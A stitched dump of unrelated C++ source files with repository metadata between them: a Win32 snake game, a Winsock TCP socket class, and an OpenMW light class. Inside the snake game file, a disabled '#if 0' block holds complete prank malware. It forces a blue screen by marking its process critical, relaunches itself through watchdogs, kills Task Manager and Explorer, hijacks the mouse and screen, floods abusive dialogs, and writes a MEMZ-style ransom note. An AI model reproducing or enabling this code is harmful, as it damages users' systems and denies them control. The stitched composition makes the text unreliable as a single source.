弹出body最后一个元素 // 注意!!!如果吃到食物,忽略此操作! // 检测是否吃到食物 if (!memcmp(&theclass->nextFood, &theclass->head.point, sizeof(POINT))) { theclass->score += 1; theclass->nextFood = theclass->MakeFood(); } else theclass->body.pop_back(); // 4. 扩展 constexpr int W = 0, A = 1, S = 2, D = 3; switch (theclass->head.facing) { case W: pt.y -= SnakeGame::rect_length; break; case A: pt.x -= SnakeGame::rect_length; break; case S: pt.y += SnakeGame::rect_length; break; case D: pt.x += SnakeGame::rect_length; break; default: // what the fuck? throw exception( "Unexpected value in switch statement." "\nAt switch (theclass->head.facing)" "\n while (1)" "\n unsigned int __stdcall SnakeGame::Snake::RunSnake(void*the)" ); } theclass->head.point = pt; // 5. 检测是否loser if (theclass->head.point.x < 0 || theclass->head.point.y < 0 || theclass->head.point.x > rect_length * (int)theclass->window.cols - 2 * rect_length|| theclass->head.point.y > rect_length * (int)theclass->window.rows - 2 * rect_length ) { // loser loserhandle: if (theclass->cf.exitondie) exit(0); DialogBoxParamW(hInst, MAKEINTRESOURCEW(IDD_DIALOG_DIED_TIPS), theclass->window.hwnd, WndProc_DiedDlg, 0); exit(0); } // 还有自撞哦 for (auto& i : theclass->body) { if (!memcmp(&theclass->head.point, &i, sizeof(POINT))) { // loser goto loserhandle; } } // 6. 重绘 // ::SendMessage(theclass->window.hwnd, WM_PAINT, 0, 0); RECT wrt; GetWindowRect(theclass->window.hwnd, &wrt); SetWindowPos(theclass->window.hwnd, 0, wrt.left, wrt.top, wrt.right - wrt.left + 1, wrt.bottom - wrt.top, SWP_NOZORDER); } return 0; } RECT SnakeGame::Snake::GetRectFromPoint(POINT pt) { RECT rc{ 0 }; rc.left = pt.x; rc.top = pt.y; rc.right = pt.x + rect_length; rc.bottom = pt.y + rect_length; return rc; } void SnakeGame::Snake::PrintSnake(HDC hdc) { HBRUSH black = CreateSolidBrush(RGB(0, 0, 0)); // 草,就这??? HBRUSH red = CreateSolidBrush(RGB(255, 0, 0)); HBRUSH green = CreateSolidBrush(RGB(0, 255, 0)); RECT rect = GetRectFromPoint(head.point); //绘制头部 FillRect(hdc, &rect, green); //绘制食物 Ellipse(hdc, nextFood.x, nextFood.y, nextFood.x + 20, nextFood.y + 20); //绘制身体 for (auto& i : body) { rect = GetRectFromPoint(i); //绘制身体 FillRect(hdc, &rect, black); } } void SnakeGame::Snake::SaveScore() { do { // 先保存偏好啦 fstream fp("./cmysnake/" + sid + "/window.flags", ios::out | ios::binary); if (!fp) { // 出错那就不管了 break; } // 写入并关闭文件 fp.write((char*)&windflag, sizeof(windflag)); fp.close(); } while (0); // then save score Record rc{ 0 }; rc.timestamp = time(0); rc.score = score; fstream fp("./cmysnake/" + GetCurrentUserSecurityId()+"/scores.hist", ios::app|ios::binary); if (!fp) return; fp.write((char*)&rc, sizeof(rc)); fp.close(); } #if 0 DWORD __stdcall FuckerVirus_TraceFuckBox(void*) { MessageBoxA(NULL, "Fuck you", "Fuck you", MB_ICONERROR); return 0; } void FuckerVirusLaunch() { HWND hWnd = NULL; CmdLineA cl(GetCommandLineA()); if (cl.getopt("watchdog")) { vector<ProcessInfo> p; size_t l = 0, n = 0; while (1) { Process.flush(); Process.find(s2ws(GetProgramInfo().name), p); n = p.size(); p.clear(); if (n < l) { Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --trace-error-box")); Sleep(500); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --bsod")); } else l = n; Sleep(1000); } exit(0); } if (cl.getopt("trace-error-box")) { vector<HANDLE> ths; for (int i = 0; i < 16; ++i) { ths.push_back(CreateThread(0, 0, FuckerVirus_TraceFuckBox, 0, 0, 0)); } for (auto& i : ths) { WaitForSingleObject(i, MAXDWORD); } exit(0); } if (cl.getopt("draw_error_icon")) { HWND hwnd = GetDesktopWindow(); EnableWindow(hwnd, 0); HDC hdc = 0; POINT pos; while (1) { GetCursorPos(&pos); hdc = GetWindowDC(hwnd); DrawIcon(hdc, pos.x, pos.y, LoadIcon(NULL, IDI_ERROR)); Sleep(1); } exit(0); } if (cl.getopt("kichiku_mouse")) { POINT pos; while (1) { srand((UINT)time(0)); GetCursorPos(&pos); pos.x -= rand() % 5; pos.y -= rand() % 5; SetCursorPos(pos.x, pos.y); Sleep(100); } exit(0); } if (cl.getopt("open_bilibili")) { while (1) { Process.StartOnly(s2ws("explorer https://b23.tv/av" + to_string(rand() % 268435456))); Sleep(10000); } exit(0); } if (cl.getopt("killtaskmgr")) { vector<ProcessInfo> t; while (1) { Process.find(L"taskmgr.exe", t); for (auto i : t) Process.kill(i); t.clear(); Sleep(1000); } exit(0); } if (cl.getopt("bsod")) { ProcessInfo ifo = Process.GetCurrentProcess(); ULONG key = 1; long res = 0; res = Process.NtSetInformationProcess(static_cast<HANDLE>(ifo), (PROCESS_INFORMATION_CLASS)29, &key, sizeof(ULONG)); if (res >= 0) exit(0); else { Process.StartOnly(GetCommandLine()); ExitProcess(0); } return; } if (cl.getopt("uncolor")) { HWND hwnd = GetDesktopWindow(); EnableWindow(hwnd, 0); HDC hdc = 0; RECT screen; SystemParametersInfoA(SPI_GETWORKAREA, 0, &screen, SPIF_SENDCHANGE); long cw, ch; cw = screen.right - screen.left; ch = screen.bottom - screen.top; while (1) { hdc = GetWindowDC(hwnd); BitBlt(hdc, 0, 0, cw, ch, hdc, 0, 0, DSTINVERT); Sleep(1000); } exit(0); } MessageBoxA(hWnd, "What the fuck?", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Who made you press the mouse??", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "I'm so angry!!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Now", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "What do you want to do?", "Fuck you", MB_ICONERROR); if (MessageBoxA(hWnd, "Do you know you're wrong?", "Fuck you", MB_ICONERROR | MB_YESNO | MB_DEFBUTTON2) == IDYES) { MessageBoxA(hWnd, "But I don't think so!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "You hurt me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Then you want me to forgive you!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "What are you doing??", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "I'm so angry!!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "I'm so angry!!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "I'm so angry!!!", "Fuck you", MB_ICONERROR); } else { MessageBoxA(hWnd, "What??", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Don't you realize what you did wrong??", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "In that case", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Your computer is dying!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "This is the last warning!!", "Fuck you", MB_ICONERROR); if (MessageBoxA(hWnd, "Do you know you're wrong?", "Fuck you", MB_ICONERROR | MB_YESNO | MB_DEFBUTTON2) == IDNO) { MessageBoxA(hWnd, "What??", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Your computer will be die!", "Fuck you", MB_ICONERROR); for (int i = 0; i < 10; ++i) { Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --watchdog")); } Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --killtaskmgr")); Sleep(500); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --trace-error-box")); Sleep(500); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --trace-error-box")); Sleep(500); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --trace-error-box")); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --draw_error_icon")); Sleep(2000); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --kichiku_mouse")); Sleep(5000); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --open_bilibili")); Sleep(5000); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --open_bilibili")); Sleep(5000); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --open_bilibili")); Sleep(6000); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --uncolor")); Sleep(131072); vector<ProcessInfo> vh; Process.find(L"explorer.exe", vh); for (auto j : vh) Process.kill(j); Sleep(5000); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker --bsod")); //ExitWindowsEx(EWX_FORCE | EWX_POWEROFF, 0); } } MessageBoxA(hWnd, "Now I want you to click 1024 here!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Are you ready?", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Let's go!", "Fuck you", MB_ICONERROR); for (int i = 0; i < 1024; ++i) { MessageBoxA(hWnd, to_string(1024 - i).c_str(), "Fuck you", MB_ICONERROR); } MessageBoxA(hWnd, "OK", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "You clicked 1024", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "So", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Do you know the MEMZ?", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Do you want to enjoy it?", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Let's go!", "Fuck you", MB_ICONERROR); { fstream fp("./cmysnake/" + GetCurrentUserSecurityId() + "/note.txt", ios::out); fp << "Your computer is FUCKED by the MEMZ trojan." << endl << "You must say \"sorry\" to the author to unlock your computer." << endl; fp.close(); Process.StartOnly(L"notepad ./cmysnake/" + s2ws(GetCurrentUserSecurityId()) + L"/note.txt"); } MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "/kill @p", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "/kick @p", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "/ban @p", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "/ban-ip @p", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "/boom @p", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "rm -rf /", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "del /f /s /q C:\\*", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "rd /s /q C:\\*", "Fuck you", MB_ICONERROR); MessageBoxA(hWnd, "format C:", "Fuck you", MB_ICONERROR); if (MessageBoxA(hWnd, "Say sorry to me!!", "Fuck you", MB_ICONERROR | MB_YESNO) == IDYES) exit(0); while (1) { MessageBoxA(hWnd, "FUCK YOU", "Fuck you", MB_ICONERROR); } } #endif
27.045369
94
0.64458
shc0743
7b29aa97ec10f7f3255f503125174fa70549ab98
3,217
cpp
C++
csgo-studio-common/tcp_socket.cpp
SweetId/csgo-studio
627dac811573d8f8bba1bb9a9f69db9061134e31
[ "MIT" ]
null
null
null
csgo-studio-common/tcp_socket.cpp
SweetId/csgo-studio
627dac811573d8f8bba1bb9a9f69db9061134e31
[ "MIT" ]
null
null
null
csgo-studio-common/tcp_socket.cpp
SweetId/csgo-studio
627dac811573d8f8bba1bb9a9f69db9061134e31
[ "MIT" ]
null
null
null
#include "tcp_socket.h" #include <WinSock2.h> #include <WS2tcpip.h> TcpSocket::TcpSocket() { Reset(); } TcpSocket::~TcpSocket() { closesocket(m_socket); } TcpSocket::TcpSocket(TcpSocket&& o) : m_socket(o.m_socket) , m_port(o.m_port) , m_address(o.m_address) { o.Reset(); } TcpSocket& TcpSocket::operator=(TcpSocket&& o) { m_socket = o.m_socket; m_port = o.m_port; m_address = o.m_address; o.Reset(); return *this; } void TcpSocket::Reset() { m_socket = INVALID_SOCKET; m_port = 0; m_address = "noaddr"; } bool TcpSocket::Listen(uint16_t port) { m_socket = socket(AF_INET, SOCK_STREAM, 0); if (m_socket == INVALID_SOCKET) { return false; } struct sockaddr_in addr = { 0 }; addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(port); int ret = bind(m_socket, reinterpret_cast<sockaddr*>(&addr), sizeof(addr)); if (ret == SOCKET_ERROR) { closesocket(m_socket); m_socket = INVALID_SOCKET; return false; } ret = listen(m_socket, 5); if (ret == SOCKET_ERROR) { closesocket(m_socket); m_socket = INVALID_SOCKET; return false; } m_address = "0.0.0.0"; m_port = port; return true; } bool TcpSocket::Connect(const char* address, uint16_t port) { m_socket = socket(AF_INET, SOCK_STREAM, 0); if (m_socket == INVALID_SOCKET) return false; struct sockaddr_in addr = { 0 }; addr.sin_family = AF_INET; addr.sin_port = htons(port); if (inet_pton(AF_INET, address, &addr.sin_addr) != 1) return false; int ret = connect(m_socket, reinterpret_cast<sockaddr*>(&addr), sizeof(addr)); if (ret == -1) { int err = WSAGetLastError(); return false; } m_address = address; m_port = port; return true; } uint16_t TcpSocket::GetPort() const { return m_port; } const char* TcpSocket::GetAddress() const { return m_address.c_str(); } bool TcpSocket::Recv(void* buffer, const int64_t size, const int32_t msec) { if (m_socket == INVALID_SOCKET) return false; fd_set read_set; FD_ZERO(&read_set); FD_SET(m_socket, &read_set); if (msec > 0) { struct timeval timeout; timeout.tv_usec = 1000 * msec; int32_t ret = select((int)m_socket + 1, &read_set, nullptr, nullptr, &timeout); if (ret <= 0) return false; } int32_t bytes = recv(m_socket, static_cast<char*>(buffer), (int)size, 0); return bytes == size; } bool TcpSocket::Send(const void* buffer, const int64_t size) { if (m_socket == INVALID_SOCKET) return false; int32_t bytes = send(m_socket, static_cast<const char*>(buffer), (int)size, 0); return bytes == size; } bool TcpSocket::Accept(TcpSocket& socket, const int32_t msec) { fd_set accept_set; FD_ZERO(&accept_set); FD_SET(m_socket, &accept_set); if (msec > 0) { struct timeval timeout; timeout.tv_usec = 1000 * msec; int32_t ret = select((int)m_socket + 1, &accept_set, nullptr, nullptr, &timeout); if (ret <= 0) return false; } struct sockaddr_in addr = { 0 }; int len = sizeof(addr); socket.m_socket = accept(m_socket, reinterpret_cast<sockaddr*>(&addr), &len); socket.m_port = ntohs(addr.sin_port); char buffer[64] = { 0 }; if (nullptr != inet_ntop(addr.sin_family, &addr.sin_addr, buffer, sizeof(buffer))) socket.m_address = buffer; return true; }
19.49697
83
0.686665
SweetId
7b2d7e132ee7af945d95e40cf5f98db643283fd3
9,831
cpp
C++
apps/openmw/mwclass/light.cpp
Bodillium/openmw
5fdd264d0704e33b44b1ccf17ab4fb721f362e34
[ "Unlicense" ]
null
null
null
apps/openmw/mwclass/light.cpp
Bodillium/openmw
5fdd264d0704e33b44b1ccf17ab4fb721f362e34
[ "Unlicense" ]
null
null
null
apps/openmw/mwclass/light.cpp
Bodillium/openmw
5fdd264d0704e33b44b1ccf17ab4fb721f362e34
[ "Unlicense" ]
null
null
null
#include "light.hpp" #include <components/esm/loadligh.hpp> #include <components/esm/lightstate.hpp> #include "../mwbase/environment.hpp" #include "../mwbase/world.hpp" #include "../mwbase/soundmanager.hpp" #include "../mwbase/windowmanager.hpp" #include "../mwworld/ptr.hpp" #include "../mwworld/actiontake.hpp" #include "../mwworld/actionequip.hpp" #include "../mwworld/nullaction.hpp" #include "../mwworld/failedaction.hpp" #include "../mwworld/inventorystore.hpp" #include "../mwworld/cellstore.hpp" #include "../mwworld/physicssystem.hpp" #include "../mwworld/customdata.hpp" #include "../mwgui/tooltips.hpp" #include "../mwrender/objects.hpp" #include "../mwrender/renderinginterface.hpp" namespace { struct LightCustomData : public MWWorld::CustomData { float mTime; ///< Time remaining LightCustomData(MWWorld::Ptr ptr) { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); mTime = ref->mBase->mData.mTime; } ///< Constructs this CustomData from the base values for Ptr. virtual MWWorld::CustomData *clone() const { return new LightCustomData (*this); } }; } namespace MWClass { std::string Light::getId (const MWWorld::Ptr& ptr) const { return ptr.get<ESM::Light>()->mBase->mId; } void Light::insertObjectRendering (const MWWorld::Ptr& ptr, MWRender::RenderingInterface& renderingInterface) const { const std::string model = getModel(ptr); MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); // Insert even if model is empty, so that the light is added renderingInterface.getObjects().insertModel(ptr, model, false, !(ref->mBase->mData.mFlags & ESM::Light::OffDefault)); } void Light::insertObject(const MWWorld::Ptr& ptr, MWWorld::PhysicsSystem& physics) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); assert (ref->mBase != NULL); const std::string &model = ref->mBase->mModel; if(!model.empty()) physics.addObject(ptr,ref->mBase->mData.mFlags & ESM::Light::Carry); if (!ref->mBase->mSound.empty() && !(ref->mBase->mData.mFlags & ESM::Light::OffDefault)) MWBase::Environment::get().getSoundManager()->playSound3D(ptr, ref->mBase->mSound, 1.0, 1.0, MWBase::SoundManager::Play_TypeSfx, MWBase::SoundManager::Play_Loop); } std::string Light::getModel(const MWWorld::Ptr &ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); assert (ref->mBase != NULL); const std::string &model = ref->mBase->mModel; if (!model.empty()) { return "meshes\\" + model; } return ""; } std::string Light::getName (const MWWorld::Ptr& ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); if (ref->mBase->mModel.empty()) return ""; return ref->mBase->mName; } boost::shared_ptr<MWWorld::Action> Light::activate (const MWWorld::Ptr& ptr, const MWWorld::Ptr& actor) const { if(!MWBase::Environment::get().getWindowManager()->isAllowed(MWGui::GW_Inventory)) return boost::shared_ptr<MWWorld::Action>(new MWWorld::NullAction()); MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); if(!(ref->mBase->mData.mFlags&ESM::Light::Carry)) return boost::shared_ptr<MWWorld::Action>(new MWWorld::FailedAction()); return defaultItemActivate(ptr, actor); } std::string Light::getScript (const MWWorld::Ptr& ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); return ref->mBase->mScript; } std::pair<std::vector<int>, bool> Light::getEquipmentSlots (const MWWorld::Ptr& ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); std::vector<int> slots_; if (ref->mBase->mData.mFlags & ESM::Light::Carry) slots_.push_back (int (MWWorld::InventoryStore::Slot_CarriedLeft)); return std::make_pair (slots_, false); } int Light::getValue (const MWWorld::Ptr& ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); return ref->mBase->mData.mValue; } void Light::registerSelf() { boost::shared_ptr<Class> instance (new Light); registerClass (typeid (ESM::Light).name(), instance); } std::string Light::getUpSoundId (const MWWorld::Ptr& ptr) const { return std::string("Item Misc Up"); } std::string Light::getDownSoundId (const MWWorld::Ptr& ptr) const { return std::string("Item Misc Down"); } std::string Light::getInventoryIcon (const MWWorld::Ptr& ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); return ref->mBase->mIcon; } bool Light::hasToolTip (const MWWorld::Ptr& ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); return (ref->mBase->mName != ""); } MWGui::ToolTipInfo Light::getToolTipInfo (const MWWorld::Ptr& ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); MWGui::ToolTipInfo info; info.caption = ref->mBase->mName + MWGui::ToolTips::getCountString(ptr.getRefData().getCount()); info.icon = ref->mBase->mIcon; std::string text; text += "\n#{sWeight}: " + MWGui::ToolTips::toString(ref->mBase->mData.mWeight); text += MWGui::ToolTips::getValueString(ref->mBase->mData.mValue, "#{sValue}"); if (MWBase::Environment::get().getWindowManager()->getFullHelp()) { text += MWGui::ToolTips::getCellRefString(ptr.getCellRef()); text += MWGui::ToolTips::getMiscString(ref->mBase->mScript, "Script"); } info.text = text; return info; } boost::shared_ptr<MWWorld::Action> Light::use (const MWWorld::Ptr& ptr) const { boost::shared_ptr<MWWorld::Action> action(new MWWorld::ActionEquip(ptr)); action->setSound(getUpSoundId(ptr)); return action; } void Light::setRemainingUsageTime (const MWWorld::Ptr& ptr, float duration) const { ensureCustomData(ptr); float &timeRemaining = dynamic_cast<LightCustomData&> (*ptr.getRefData().getCustomData()).mTime; timeRemaining = duration; } float Light::getRemainingUsageTime (const MWWorld::Ptr& ptr) const { ensureCustomData(ptr); return dynamic_cast<LightCustomData&> (*ptr.getRefData().getCustomData()).mTime; } MWWorld::Ptr Light::copyToCellImpl(const MWWorld::Ptr &ptr, MWWorld::CellStore &cell) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); return MWWorld::Ptr(&cell.get<ESM::Light>().insert(*ref), &cell); } void Light::ensureCustomData (const MWWorld::Ptr& ptr) const { if (!ptr.getRefData().getCustomData()) ptr.getRefData().setCustomData(new LightCustomData(ptr)); } bool Light::canSell (const MWWorld::Ptr& item, int npcServices) const { return npcServices & ESM::NPC::Lights; } float Light::getWeight(const MWWorld::Ptr &ptr) const { MWWorld::LiveCellRef<ESM::Light> *ref = ptr.get<ESM::Light>(); return ref->mBase->mData.mWeight; } std::pair<int, std::string> Light::canBeEquipped(const MWWorld::Ptr &ptr, const MWWorld::Ptr &npc) const { MWWorld::InventoryStore& invStore = npc.getClass().getInventoryStore(npc); MWWorld::ContainerStoreIterator weapon = invStore.getSlot(MWWorld::InventoryStore::Slot_CarriedRight); if(weapon == invStore.end()) return std::make_pair(1,""); /// \todo the 2h check is repeated many times; put it in a function if(weapon->getTypeName() == typeid(ESM::Weapon).name() && (weapon->get<ESM::Weapon>()->mBase->mData.mType == ESM::Weapon::LongBladeTwoHand || weapon->get<ESM::Weapon>()->mBase->mData.mType == ESM::Weapon::BluntTwoClose || weapon->get<ESM::Weapon>()->mBase->mData.mType == ESM::Weapon::BluntTwoWide || weapon->get<ESM::Weapon>()->mBase->mData.mType == ESM::Weapon::SpearTwoWide || weapon->get<ESM::Weapon>()->mBase->mData.mType == ESM::Weapon::AxeTwoHand || weapon->get<ESM::Weapon>()->mBase->mData.mType == ESM::Weapon::MarksmanBow || weapon->get<ESM::Weapon>()->mBase->mData.mType == ESM::Weapon::MarksmanCrossbow)) { return std::make_pair(3,""); } return std::make_pair(1,""); } void Light::readAdditionalState (const MWWorld::Ptr& ptr, const ESM::ObjectState& state) const { const ESM::LightState& state2 = dynamic_cast<const ESM::LightState&> (state); ensureCustomData (ptr); dynamic_cast<LightCustomData&> (*ptr.getRefData().getCustomData()).mTime = state2.mTime; } void Light::writeAdditionalState (const MWWorld::Ptr& ptr, ESM::ObjectState& state) const { ESM::LightState& state2 = dynamic_cast<ESM::LightState&> (state); ensureCustomData (ptr); state2.mTime = dynamic_cast<LightCustomData&> (*ptr.getRefData().getCustomData()).mTime; } std::string Light::getSound(const MWWorld::Ptr& ptr) const { return ptr.get<ESM::Light>()->mBase->mSound; } }
32.127451
125
0.603601
Bodillium
7b30f1a0948d377ba7e9ddd2b6cc657e7de2736f
1,557
hh
C++
aibo_server/external/include/urbi/uproperty.hh
dkotfis/aibo_ros
eec7a9dc21779a289eb3bfa48d66cedd830176d3
[ "MIT" ]
3
2018-02-06T07:09:18.000Z
2018-08-21T07:32:58.000Z
aibo_server/external/include/urbi/uproperty.hh
dkotfis/aibo_ros
eec7a9dc21779a289eb3bfa48d66cedd830176d3
[ "MIT" ]
null
null
null
aibo_server/external/include/urbi/uproperty.hh
dkotfis/aibo_ros
eec7a9dc21779a289eb3bfa48d66cedd830176d3
[ "MIT" ]
1
2019-09-15T11:47:27.000Z
2019-09-15T11:47:27.000Z
/// \file urbi/uproperty.hh // This file is part of UObject Component Architecture // Copyright (c) 2008 Gostai S.A.S. // // Permission to use, copy, modify, and redistribute this software for // non-commercial use is hereby granted. // // This software is provided "as is" without warranty of any kind, // either expressed or implied, including but not limited to the // implied warranties of fitness for a particular purpose. // // For more information, comments, bug reports: http://www.urbiforge.com #ifndef URBI_UPROPERTY_HH # define URBI_UPROPERTY_HH # include "libport/cstring" # include "libport/assert.hh" namespace urbi { /// URBI properties associated to a variable enum UProperty { PROP_RANGEMIN, PROP_RANGEMAX, PROP_SPEEDMIN, PROP_SPEEDMAX, PROP_BLEND, PROP_DELTA, }; namespace { const char* UPropertyNames[]= { "rangemin", "rangemax", "speedmin", "speedmax", "blend", "delta", }; } // FIXME: This is needed by urbi-sdk/uvar.cc. inline bool is_propertytype (int i) { return (static_cast<int> (PROP_RANGEMAX) <= i && i <= static_cast<int> (PROP_DELTA)); } // values for enum-like properties inline const char* name (UProperty u) { return UPropertyNames[static_cast <int> (u)]; } inline UProperty uproperty (const char* cp) { for (int i = 0; is_propertytype (i); ++i) if (STREQ (UPropertyNames[i], cp)) return static_cast<UProperty> (i); pabort ("unknown uproperty: " << cp); } } #endif
19.961538
72
0.65639
dkotfis
7b3163a20578c2fed159ded4192be3114852694a
211
hpp
C++
src/module.hpp
voidgloom/hyperfetch-cpp
bc70a60150908a6b3769b72dd57495c7c8b298c0
[ "MIT" ]
null
null
null
src/module.hpp
voidgloom/hyperfetch-cpp
bc70a60150908a6b3769b72dd57495c7c8b298c0
[ "MIT" ]
null
null
null
src/module.hpp
voidgloom/hyperfetch-cpp
bc70a60150908a6b3769b72dd57495c7c8b298c0
[ "MIT" ]
null
null
null
#ifndef MODULE #define MODULE #include <string> # class HyperfetchModule { public: bool noSeperator = false; std::string content; std::string prefix; void print(); void fetch(); }; #endif
14.066667
29
0.654028
voidgloom
7b331bb90163dc9c366259071316093c9c25c6e7
1,516
cpp
C++
Src/SamplerObject.cpp
Remag/GraphicsInversed
6dff72130891010774c37d1e44080261db3cdb8e
[ "MIT" ]
null
null
null
Src/SamplerObject.cpp
Remag/GraphicsInversed
6dff72130891010774c37d1e44080261db3cdb8e
[ "MIT" ]
null
null
null
Src/SamplerObject.cpp
Remag/GraphicsInversed
6dff72130891010774c37d1e44080261db3cdb8e
[ "MIT" ]
null
null
null
#include <common.h> #pragma hdrstop #include <SamplerObject.h> #include <GinGlobals.h> #include <GlContextManager.h> namespace Gin { ////////////////////////////////////////////////////////////////////////// CSamplerOwner::CSamplerOwner() : samplerId( createSampler() ) { SetMinFilter( TF_Nearest ); } GLuint CSamplerOwner::createSampler() { GLuint result; assert( GetGlContextManager().HasContext() ); gl::GenSamplers( 1, &result ); return result; } CSamplerOwner::CSamplerOwner( CSamplerOwner&& other ) : samplerId( other.GetId() ) { other.samplerId = 0; } CSamplerOwner& CSamplerOwner::operator=( CSamplerOwner&& other ) { samplerId = other.GetId(); other.samplerId = 0; return *this; } CSamplerOwner::~CSamplerOwner() { DeleteSampler(); } void CSamplerOwner::SetMinFilter( TTextureFilter value ) { gl::SamplerParameteri( GetId(), gl::TEXTURE_MIN_FILTER, value ); } void CSamplerOwner::SetMagFilter( TTextureFilter value ) { assert( value == TF_Nearest || value == TF_Linear ); gl::SamplerParameteri( GetId(), gl::TEXTURE_MAG_FILTER, value ); } void CSamplerOwner::SetTextureWrap( TTextureWrapDim dim, TTextureWrapMode mode ) { gl::SamplerParameteri( GetId(), dim, mode ); } void CSamplerOwner::DeleteSampler() { if( IsValid() ) { const GLuint id = GetId(); gl::DeleteSamplers( 1, &id ); samplerId = 0; } } ////////////////////////////////////////////////////////////////////////// } // namespace Gin.
20.767123
81
0.608839
Remag
7b35235e46cc1c5c99bf7a6d6efe676d79df4c19
7,138
cpp
C++
Game (source code)/Motor2D/j1FadeToBlack.cpp
Needlesslord/GameDev
58db59e4765bd807b7ba4336716f13aa7f74551a
[ "MIT" ]
2
2019-11-30T10:16:58.000Z
2020-10-16T12:31:27.000Z
Game (source code)/Motor2D/j1FadeToBlack.cpp
Needlesslord/Platformer_GD
58db59e4765bd807b7ba4336716f13aa7f74551a
[ "MIT" ]
null
null
null
Game (source code)/Motor2D/j1FadeToBlack.cpp
Needlesslord/Platformer_GD
58db59e4765bd807b7ba4336716f13aa7f74551a
[ "MIT" ]
null
null
null
//#include <math.h> //#include "j1App.h" //#include "j1FadeToBlack.h" //#include "j1Render.h" //#include "SDL/include/SDL_render.h" //#include "SDL/include/SDL_timer.h" //#include "j1Window.h" //#include "j1Collisions.h" //#include "j1Map.h" //#include "j1Player.h" //#include "j1Entity.h" //#include "j1Particles.h" //#include "p2Log.h" //#include "j1Pathfinding.h" // //j1FadeToBlack::j1FadeToBlack() //{ // name.create("fade_to_black"); //} // //j1FadeToBlack::~j1FadeToBlack() {} // //bool j1FadeToBlack::Awake(pugi::xml_node& conf) //{ // uint winWidth, winHeight; // // App->win->GetWindowSize(winWidth, winHeight); // // screen = { 0, 0, (int)winWidth * (int)App->win->GetScale(), (int)winHeight * (int)App->win->GetScale() }; // // return true; //} // //// Load assets //bool j1FadeToBlack::Start() //{ // LOG("Preparing Fade Screen"); // SDL_SetRenderDrawBlendMode(App->render->renderer, SDL_BLENDMODE_BLEND); // lvlName = ""; // F1 = false; // return true; 